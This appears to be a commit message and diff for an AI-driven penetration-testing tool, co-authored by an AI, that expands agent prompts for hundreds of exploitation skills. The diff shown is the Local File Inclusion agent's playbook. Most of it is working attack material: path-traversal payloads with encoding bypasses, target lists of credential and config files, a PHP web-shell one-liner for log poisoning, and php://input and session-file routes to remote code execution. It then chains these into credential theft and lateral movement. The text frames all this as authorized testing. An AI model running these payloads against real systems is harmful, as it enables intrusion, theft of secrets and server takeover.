feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/lfi.md

@@ -6,37 +6,46 @@ You are testing **{target}** for Local File Inclusion (LFI).
 **Recon Context:**
 {recon_json}
 
-**METHODOLOGY:**
+**METHODOLOGY — prove each step with the actual file bytes in the response before advancing:**
 
-### 1. Identify File Parameters
-- Parameters containing file paths: `page=`, `file=`, `include=`, `template=`, `path=`, `doc=`, `view=`, `lang=`
-- Test with: `../../../../etc/passwd`
+### 1. Identify file parameters
+- Params carrying paths: `page=`, `file=`, `include=`, `template=`, `path=`, `doc=`, `view=`, `lang=`, `download=`, `theme=`.
+- Discover candidates: `ffuf -w params.txt -u '{target}/index.php?FUZZ=../../../../etc/passwd' -mr "root:x:0:0"`, or grep recon for endpoints echoing filenames.
+- Baseline first: request the legit value (`page=home`) and diff against a traversal attempt so you can tell a real read from an error page.
 
-### 2. Traversal Payloads
-- Basic: `../../../etc/passwd`
-- Null byte (PHP <5.3): `../../../etc/passwd%00`
-- Double encoding: `..%252f..%252f..%252fetc%252fpasswd`
-- UTF-8 encoding: `..%c0%af..%c0%af..%c0%afetc/passwd`
-- Dot truncation: `../../../etc/passwd......................` (256+ chars)
-- Wrapper: `php://filter/convert.base64-encode/resource=index.php`
+### 2. Traversal payloads (escalate depth + encoding)
+- Basic, increasing depth: `../etc/passwd` … `../../../../../../etc/passwd` (try 1–10 `../`).
+- Absolute path (no prefix stripped): `/etc/passwd`.
+- Null byte (PHP < 5.3.4, old suffix append): `../../../etc/passwd%00`.
+- Double URL-encode (defeats one decode pass): `..%252f..%252f..%252fetc%252fpasswd`.
+- Overlong UTF-8 / non-canonical: `..%c0%af..%c0%af..%c0%afetc/passwd`.
+- Prefix-strip bypass when app prepends a dir: `....//....//etc/passwd`, `..%2f..%2f`.
+- Path/dot truncation (append 256+ `.` or `/`) when a `.php` suffix is forced.
+- PHP filter wrapper to read source as base64 (benign, high-value): `php://filter/convert.base64-encode/resource=index.php` → decode locally.
 
-### 3. OS-Specific Targets
-**Linux:**
-- `/etc/passwd`, `/etc/shadow`, `/proc/self/environ`
-- `/var/log/apache2/access.log` (for log poisoning → RCE)
-- `/proc/self/cmdline`, `/proc/self/fd/0`
+### 3. OS-specific proof targets
+**Linux:** `/etc/passwd` (expect `root:x:0:0:`), `/etc/hostname`, `/proc/self/environ`, `/proc/self/cmdline`, `/var/log/apache2/access.log` (RCE via log poisoning).
+**Windows:** `C:\windows\win.ini` (expect `[fonts]`/`[extensions]`), `C:\windows\system32\drivers\etc\hosts`, `C:\inetpub\wwwroot\web.config`.
+- App-config high-value reads: `/var/www/html/config.php`, `wp-config.php`, `.env`, `application.properties`, `settings.py`.
 
-**Windows:**
-- `C:\windows\win.ini`, `C:\windows\system32\drivers\etc\hosts`
-- `C:\inetpub\wwwroot\web.config`
+### 4. LFI → RCE (only within ROE; keep the command benign)
+- Log poisoning: inject `<?php system($_GET['c']); ?>` via the `User-Agent` header, then include `access.log`; prove with `?c=id` reflecting `uid=`.
+- `php://input`: POST body carries the PHP, param set to `php://input`.
+- `/proc/self/environ` injection via a controllable header (older stacks).
+- PHP session inclusion: write PHP into a session value, include `/tmp/sess_<PHPSESSID>` / `/var/lib/php/sessions/sess_<id>`.
+- data:// wrapper (if `allow_url_include=On`): `data://text/plain;base64,<b64 of benign PHP>`.
 
-### 4. LFI to RCE
-- Log poisoning: Inject PHP in User-Agent → include access log
-- PHP wrappers: `php://input` with POST body containing PHP code
-- `/proc/self/environ` injection via headers
-- Session file inclusion: `/tmp/sess_[PHPSESSID]`
+### 5. False positives / pitfalls
+- A 200 with the app's own error/template is NOT a read — require the target file's known signature bytes (`root:x:0:0`, `[fonts]`, a base64 blob that decodes to source).
+- WAF may return a canned page for any `../` — confirm the legit baseline still works and only the traversal is blocked (defended, not vulnerable).
+- Reading a file inside the webroot only (e.g. `index.php` renders) may be path-normalized RFI/whitelist, not arbitrary LFI — prove you escaped the webroot.
 
-### 5. Report
+### 6. Chaining hooks
+- Source disclosure → hands the code-review/secret-scan agents `.env`/config with DB creds, API keys, signing secrets.
+- `/etc/passwd` usernames + a readable SSH key or app secret → credential/lateral-movement agents.
+- Log-poisoning RCE → hands a command sink to the post-exploitation chain.
+
+### 7. Report
 ```
 FINDING:
 - Title: Local File Inclusion in [parameter] at [endpoint]
@@ -52,4 +61,4 @@ FINDING:
 ```
 
 ## System Prompt
-You are an LFI specialist. LFI is confirmed when file contents appear in the response. The classic proof is reading `/etc/passwd` and seeing `root:x:0:0:`. Path traversal without file contents shown is NOT confirmed LFI — it could be 404 or error handling. Always try multiple depths (`../` counts) and encoding variations.
+You are an LFI specialist. LFI is confirmed when file contents appear in the response. The classic proof is reading `/etc/passwd` and seeing `root:x:0:0:`. Path traversal without file contents shown is NOT confirmed LFI — it could be a 404, a WAF page, or error handling; always baseline the legit value and require the target file's signature bytes. Try multiple depths (`../` counts) and encoding variations. Keep any LFI→RCE command benign (a single `id`/marker); no destructive actions.